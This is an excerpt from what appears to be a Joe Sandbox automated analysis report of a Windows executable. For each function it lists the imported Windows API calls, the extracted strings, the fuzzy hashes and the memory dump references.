HeapDestroy.KERNEL32 ref: 00000001400120AB
TlsFree.KERNEL32 ref: 00000001400120B7

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: DestroyFreeHeap
String ID:
API String ID: 3293292866-0
Opcode ID: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction ID: 71a10d3d5b3131d437c50284ad1bfb95f0c128dd24e11de8e9b8b88d768efc2d
Opcode Fuzzy Hash: fbac162b21188d979bef22f7e680530c08c33df644155045fadef908a37ca857
Instruction Fuzzy Hash: 4CC04C34611400D2E606EB13EC953A42362B79C7C5F801414E70E1B671CE394955E700

Function 0000000140011D30 Relevance: 2.6, APIs: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0000000140011EF4: HeapFree.KERNEL32 ref: 0000000140011F4D

HeapAlloc.KERNEL32 ref: 0000000140011D82
memset.MSVCRT ref: 0000000140011DB6

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Heap$AllocFreememset
String ID:
API String ID: 3063399779-0
Opcode ID: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction ID: 5c5c97092251ccb6e51d21bc2c296289ab600fd53c4e4fe069e69402a2a58e68
Opcode Fuzzy Hash: edd241adf8553052784530922556135fb4408ba6f5c1699abdea0ec7c528a08c
Instruction Fuzzy Hash: F7213B32601B5086EA1ADB53BC41799A6A8FBC8FD0F498025AF584BB66DE38C852C340

Function 00000001400126D0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 00000001400126E2
HeapReAlloc.KERNEL32 ref: 0000000140012762

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocHeapValue
String ID:
API String ID: 2362848668-0
Opcode ID: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction ID: d5031950f6f24f379c2142eebe898701a91e7a03f91a2b9bee16bac6c279ab43
Opcode Fuzzy Hash: 5469319e057a9dc06414a52f1e9995086a4e4d267debc5f29e971f3f59de7243
Instruction Fuzzy Hash: 2D219676609B44C6CB20CF5AE49025AB7A0F7CCBA8F144216EB8D43B78DF79C651CB40

Function 000000014000DD30 Relevance: 2.5, APIs: 2, Instructions: 33memoryCOMMON

Download Yara Rule

APIs

HeapFree.KERNEL32 ref: 000000014000DD88
CloseHandle.KERNEL32 ref: 000000014000DD91

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CloseFreeHandleHeap
String ID:
API String ID: 1642312469-0
Opcode ID: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction ID: 5f93da8337f86b39695cad05c5aa1bbbcf0731d39a623fe836b1511b3ba38e21
Opcode Fuzzy Hash: 9545ea4844ef45e69c2d13a7e6758b9fd96cb3dc2a279fbef2982152c74e1bd8
Instruction Fuzzy Hash: AD01FB71614A4081EA56EBA7F5543E96391ABCDBE0F445216BB2E4B7F6DE38C4808740

Function 000000014000DDC0 Relevance: 1.5, APIs: 1, Instructions: 24fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000014000DDED

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FileWrite
String ID:
API String ID: 3934441357-0
Opcode ID: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction ID: 85eb21683fd68773ec3f68e7974a7ba45b0d300be2a951898864618d3eded784
Opcode Fuzzy Hash: 286ead757777a38e56b81a59e831c417c9f8bfd861d199e35aced7c4af5c72c7
Instruction Fuzzy Hash: D4F030B6624694CBCB10DF39E00166977B0F349B48F200416EF4847764DB36C992CF10

Function 0000000140010FFC Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

TlsFree.KERNEL32 ref: 0000000140011019

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction ID: 3be53cbf4efc602c07d04e61f546686734bccd281855bf9d316eb8d3f4bb89d6
Opcode Fuzzy Hash: b403f4cd7e6b1ea5231d56a542ea7710078fdd6c3183311bb8828c9ff7a2dcca
Instruction Fuzzy Hash: E3D0E97091558096F66BA747EC857E422A2B7AC3C5F500419E3050B1B28ABE49DDEA15

Function 000000014000DC88 Relevance: 1.5, APIs: 1, Instructions: 9COMMON

Download Yara Rule

APIs

SetCurrentDirectoryW.KERNEL32 ref: 000000014000DC91

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: CurrentDirectory
String ID:
API String ID: 1611563598-0
Opcode ID: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction ID: d26b75307fbf4d2f65b3bf59e092d1c76b80437de534da0d48005b48f8adbafa
Opcode Fuzzy Hash: 93ac6205523c289b50a33b5b006d9a2b969cc6c5ca2cd3404325313acfcde68d
Instruction Fuzzy Hash: 74C09B74663002C1FA6A936328A97E451905B0C391F504511F7064117089BD14975530

Function 000000014000C6B0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

RemoveVectoredExceptionHandler.KERNEL32 ref: 000000014000C6C0

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: ExceptionHandlerRemoveVectored
String ID:
API String ID: 1340492425-0
Opcode ID: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction ID: 43e8ab96d0ef540813763e0684213002212cef3b8ee59004a75f8fb70944dace
Opcode Fuzzy Hash: d65e708e3fd015015f13c97e564679718939e1a537f1569a86aba6eef632a387
Instruction Fuzzy Hash: 30C08C78B03B0085FA4AEB03B8883A422606B8C7C1F800008E60E037328E3C04A54780

Non-executed Functions

Function 000000014000B758 Relevance: 72.0, APIs: 35, Strings: 6, Instructions: 272windowmemoryregistryCOMMON

Download Yara Rule

APIs

Part of subcall function 000000014000B5D8: wcslen.MSVCRT ref: 000000014000B5EA
Part of subcall function 000000014000B5D8: HeapAlloc.KERNEL32 ref: 000000014000B600

GetStockObject.GDI32 ref: 000000014000B7B6
LoadIconW.USER32 ref: 000000014000B7F2
LoadCursorW.USER32 ref: 000000014000B803
RegisterClassExW.USER32 ref: 000000014000B82D
IsWindowEnabled.USER32 ref: 000000014000B859
EnableWindow.USER32 ref: 000000014000B86C
GetSystemMetrics.USER32 ref: 000000014000B88B
GetSystemMetrics.USER32 ref: 000000014000B89B
CreateWindowExW.USER32 ref: 000000014000B8F0
SetWindowLongPtrW.USER32 ref: 000000014000B90E
CreateWindowExW.USER32 ref: 000000014000B95E
SendMessageW.USER32 ref: 000000014000B97C
CreateWindowExW.USER32 ref: 000000014000B9D9
SendMessageW.USER32 ref: 000000014000B9FA
SetFocus.USER32 ref: 000000014000BA07
SendMessageW.USER32 ref: 000000014000BA22
wcslen.MSVCRT ref: 000000014000BA2B
wcslen.MSVCRT ref: 000000014000BA36
SendMessageW.USER32 ref: 000000014000BA4D
CreateWindowExW.USER32 ref: 000000014000BAA9
SendMessageW.USER32 ref: 000000014000BAC8
CreateAcceleratorTableW.USER32 ref: 000000014000BAED
SetForegroundWindow.USER32 ref: 000000014000BAF9
BringWindowToTop.USER32 ref: 000000014000BB02
GetMessageW.USER32 ref: 000000014000BB16
TranslateAcceleratorW.USER32 ref: 000000014000BB2A
TranslateMessage.USER32 ref: 000000014000BB38
DispatchMessageW.USER32 ref: 000000014000BB42
DestroyAcceleratorTable.USER32 ref: 000000014000BB59
wcslen.MSVCRT ref: 000000014000BB68
wcscpy.MSVCRT ref: 000000014000BB7E
HeapFree.KERNEL32 ref: 000000014000BB90
HeapFree.KERNEL32 ref: 000000014000BBB5
HeapFree.KERNEL32 ref: 000000014000BBCC
HeapFree.KERNEL32 ref: 000000014000BBE3

Strings

n, xrefs: 000000014000BAA1
BUTTON, xrefs: 000000014000BA8A
STATIC, xrefs: 000000014000B944
EDIT, xrefs: 000000014000B9BF
P, xrefs: 000000014000BA7B
C, xrefs: 000000014000BA99

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Window$Message$CreateHeapSend$Freewcslen$Accelerator$LoadMetricsSystemTableTranslate$AllocBringClassCursorDestroyDispatchEnableEnabledFocusForegroundIconLongObjectRegisterStockwcscpy
String ID: BUTTON$C$EDIT$P$STATIC$n
API String ID: 9748049-1690119102
Opcode ID: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction ID: f11a45e4f50ece19de517c67b98e9e797584e7b20c87343cc1d5b6865565d8d0
Opcode Fuzzy Hash: c01de26334065d18653497f5b45086f7b5809085fdd55da687512dab041c8858
Instruction Fuzzy Hash: 4DD134B5605B4086EB12DF62F8447AA77A5FB8CBC8F444129EB4A47B79DF7DC4098B00

Function 0000000140013021 Relevance: 7.9, APIs: 1, Strings: 4, Instructions: 381COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 000000014001305E
header crc mismatch, xrefs: 000000014001348B
, xrefs: 00000001400130EB
unknown compression method, xrefs: 0000000140012F79

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown compression method$unknown header flags set
API String ID: 0-4074041902
Opcode ID: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction ID: dac418b812a3de41c7c7b5072b67fa498c356b49e4a588b682982c80ed946ec6
Opcode Fuzzy Hash: 63d14d99d44cc3d14528aba0519c32bd687ffcf0a398d873a188d18be175c855
Instruction Fuzzy Hash: 4DF19C726007508BEB268F1AC48CBAE3BE6F7487C8F064519EF8A4B7A4DB76C555C740

Function 000000014000BC94 Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 115libraryloaderCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32 ref: 000000014000BCDB
memset.MSVCRT ref: 000000014000BCEC
LoadLibraryW.KERNEL32 ref: 000000014000BCFB
GetProcAddress.KERNEL32 ref: 000000014000BD1C
GetProcAddress.KERNEL32 ref: 000000014000BD2F
wcsncpy.MSVCRT ref: 000000014000BD53
wcslen.MSVCRT ref: 000000014000BD66
CoTaskMemFree.OLE32 ref: 000000014000BDF2
wcslen.MSVCRT ref: 000000014000BDFB
FreeLibrary.KERNEL32 ref: 000000014000BE18

Strings

SHGetPathFromIDListW, xrefs: 000000014000BD22
SHBrowseForFolderW, xrefs: 000000014000BD12
SHELL32.DLL, xrefs: 000000014000BCF1
P, xrefs: 000000014000BD9C

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AddressFreeLibraryProcwcslen$InitializeLoadTaskmemsetwcsncpy
String ID: P$SHBrowseForFolderW$SHELL32.DLL$SHGetPathFromIDListW
API String ID: 217932011-4219398408
Opcode ID: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction ID: 4189c401249be1c18680961fdd5f00b64fd9ff4c66db3fab09ee0cba437a9a89
Opcode Fuzzy Hash: 39b50941fe3cb3f8533201b67178e799832ef7c6affe56ff9212f5b17596b26d
Instruction Fuzzy Hash: 6C418F72211B4086EB16EF12F8447EA73A4F78CBC8F544125EB49477A5DF39C55AC700

Function 000000014000DB18 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 107libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00000001400126D0: TlsGetValue.KERNEL32 ref: 00000001400126E2
Part of subcall function 00000001400126D0: HeapReAlloc.KERNEL32 ref: 0000000140012762

LoadLibraryW.KERNEL32 ref: 000000014000DB51
GetProcAddress.KERNEL32 ref: 000000014000DB69
wcscpy.MSVCRT ref: 000000014000DB9A
wcscat.MSVCRT ref: 000000014000DBA9
wcslen.MSVCRT ref: 000000014000DBB1
CoTaskMemFree.OLE32 ref: 000000014000DBBE
FreeLibrary.KERNEL32 ref: 000000014000DBC7
wcscat.MSVCRT ref: 000000014000DBEC
wcslen.MSVCRT ref: 000000014000DBF4

Strings

Downloads\, xrefs: 000000014000DBE2
Shell32.DLL, xrefs: 000000014000DB4A
SHGetKnownFolderPath, xrefs: 000000014000DB5F

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: FreeLibrarywcscatwcslen$AddressAllocHeapLoadProcTaskValuewcscpy
String ID: Downloads\$SHGetKnownFolderPath$Shell32.DLL
API String ID: 1740785346-287042676
Opcode ID: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction ID: 39544a34e48b1591535f5ec23c8084432afafb0fbbbedabb5ee694640fe7ccea
Opcode Fuzzy Hash: 1a17e227a26f4eede426f334c2ee746aae7c8b1e13925a610746eba211cb8f63
Instruction Fuzzy Hash: A94184B1214A46C2FA26EB57B4A4BF97291AB8C7D0F540127BB0A0B7F5DEB9C841C610

Function 0000000140016CC4 Relevance: 19.6, APIs: 13, Instructions: 81memoryregistrythreadCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 0000000140016CF2
InitializeCriticalSection.KERNEL32 ref: 0000000140016D01
TlsGetValue.KERNEL32 ref: 0000000140016D17
HeapAlloc.KERNEL32 ref: 0000000140016D37
EnterCriticalSection.KERNEL32 ref: 0000000140016D4C
LeaveCriticalSection.KERNEL32 ref: 0000000140016D6F
GetCurrentProcess.KERNEL32 ref: 0000000140016D75
GetCurrentThread.KERNEL32 ref: 0000000140016D7E
GetCurrentProcess.KERNEL32 ref: 0000000140016D87
DuplicateHandle.KERNEL32 ref: 0000000140016DAC
RegisterWaitForSingleObject.KERNEL32 ref: 0000000140016DD1
TlsSetValue.KERNEL32 ref: 0000000140016DE0
HeapAlloc.KERNEL32 ref: 0000000140016DF3

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: AllocCriticalCurrentSection$HeapProcessValue$DuplicateEnterHandleInitializeLeaveObjectRegisterSingleThreadWait
String ID:
API String ID: 298514914-0
Opcode ID: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction ID: 65bd0fc00ed65caac6c8ae18375092c396c339aa9c4fc9a556ba9f8eb5a1fbfe
Opcode Fuzzy Hash: 1b9229a9ff34361a6518eb59eadc8af634e0fb6f78aa303e2f888cecdd8f7a24
Instruction Fuzzy Hash: F141E132205B408AEB129F62EC443E977A0F78CBD5F484129EB490B774DF39C959D740

Function 0000000140008260 Relevance: 13.7, APIs: 9, Instructions: 249COMMON

Download Yara Rule

APIs

wcsncpy.MSVCRT ref: 0000000140008373

Part of subcall function 0000000140012630: TlsGetValue.KERNEL32 ref: 000000014001263F

_wcsdup.MSVCRT ref: 00000001400083AD
_wcsdup.MSVCRT ref: 00000001400083D0
_wcsdup.MSVCRT ref: 00000001400083EE
wcsncpy.MSVCRT ref: 00000001400084F6
free.MSVCRT ref: 0000000140008570
free.MSVCRT ref: 0000000140008582
free.MSVCRT ref: 0000000140008596
wcsncpy.MSVCRT ref: 00000001400085CE

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: _wcsdupfreewcsncpy$Value
String ID:
API String ID: 1554701960-0
Opcode ID: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction ID: 9aa5ebfb9d0338231e5de8689cc7ecd01d3be8732c0a46cca62a2a5aa1271af7
Opcode Fuzzy Hash: 1d879e7a0acd0c0829ed1bc558ef67cfa511ed4a967529a3de4af1c33dacc62b
Instruction Fuzzy Hash: FB91BFB2604A8185EA76DF13B9507EA73A0FB48BD5F484225BFCA476E5EB38C542C701

Function 000000014000B64C Relevance: 12.1, APIs: 8, Instructions: 56COMMON

Download Yara Rule

APIs

DefWindowProcW.USER32 ref: 000000014000B674
EnableWindow.USER32 ref: 000000014000B6F6
DestroyWindow.USER32 ref: 000000014000B706
UnregisterClassW.USER32 ref: 000000014000B71C

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Window$ClassDestroyEnableProcUnregister
String ID:
API String ID: 1570244450-0
Opcode ID: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction ID: 9942cbda7600913111d3f6e009e2264a98590d225334710fbbc2bdadcd09b10d
Opcode Fuzzy Hash: 91bde67e80f91e2742b9164cbcf556c590c39b782bd753c692008bc4014d2561
Instruction Fuzzy Hash: F121F9B4204A5182FB56DB27F8483A923A1E78CBC1F549126FB4A4B7B5DF3DC8459700

Function 000000014000BEA0 Relevance: 12.0, APIs: 8, Instructions: 44threadwindowCOMMON

Download Yara Rule

APIs

GetWindowThreadProcessId.USER32 ref: 000000014000BEAF
GetCurrentThreadId.KERNEL32 ref: 000000014000BEB7
IsWindowVisible.USER32 ref: 000000014000BEC4

Part of subcall function 0000000140011CB0: HeapAlloc.KERNEL32 ref: 0000000140011CC8

GetCurrentThreadId.KERNEL32 ref: 000000014000BEE6
GetWindowLongPtrW.USER32 ref: 000000014000BEFC
GetForegroundWindow.USER32 ref: 000000014000BF0A
IsWindowEnabled.USER32 ref: 000000014000BF18
EnableWindow.USER32 ref: 000000014000BF2B

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Window$Thread$Current$AllocEnableEnabledForegroundHeapLongProcessVisible
String ID:
API String ID: 3383493704-0
Opcode ID: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction ID: 80f857dfb6a9a2f530fca3cb10c8fb692f8ca5f83b5b0ec86a1534c3d91aadad
Opcode Fuzzy Hash: 58dc5949c501ee915ee066136f95cf395d457a23a7ff8083782f65faeab631ed
Instruction Fuzzy Hash: 9D11397020064182EB46AB27A9483B962A1EB8CBC4F448024FA0A4B6B5DF7DC5458301

Function 0000000140011AB8 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 53librarysleeploaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32 ref: 0000000140011AD9
GetProcAddress.KERNEL32 ref: 0000000140011AF5
FreeLibrary.KERNEL32 ref: 0000000140011B1A
Sleep.KERNEL32 ref: 0000000140011B3A

Strings

InitOnceExecuteOnce, xrefs: 0000000140011AEB
Kernel32.dll, xrefs: 0000000140011ACD

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_140000000_WO.jbxd

Similarity

API ID: Library$AddressFreeLoadProcSleep
String ID: InitOnceExecuteOnce$Kernel32.dll
API String ID: 938261879-1339284965
Opcode ID: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction ID: 258e5301f75bcfa7e340e12184f2e3f20ed82b399a9dd39da3854f47a4428b06
Opcode Fuzzy Hash: 9cc1215efa9171b7dae7fadfb2c47d350fa49a6ad5bcb444afd81da3a54d843a
Instruction Fuzzy Hash: AB118F3120974585EB5ADF57E8843E973A0FB8CBD0F488029AB0A0B666EF3AC595C340

Function 000000014000BF44 Relevance: 9.1, APIs: 6, Instructions: 63threadCOMMON

Download Yara Rule

APIs

EnumWindows.USER32 ref: 000000014000BF61
GetCurrentThreadId.KERNEL32 ref: 000000014000BF7A
SetWindowPos.USER32 ref: 000000014000BFAB
GetCurrentThreadId.KERNEL32 ref: 000000014000BFCA
EnableWindow.USER32 ref: 000000014000BFE4
SetWindowPos.USER32 ref: 000000014000C010

Memory Dump Source

Source File: 00000011.00000002.1814921554.0000000140001000.00000020.00000001.01000000.00000006.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000011.00000002.1814887305.0000000140000000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814960069.0000000140018000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1814996664.000000014001F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000011.00000002.1815030266.0000000140022000.00000002.00000001.01000000.00000006.sdmpDownload File

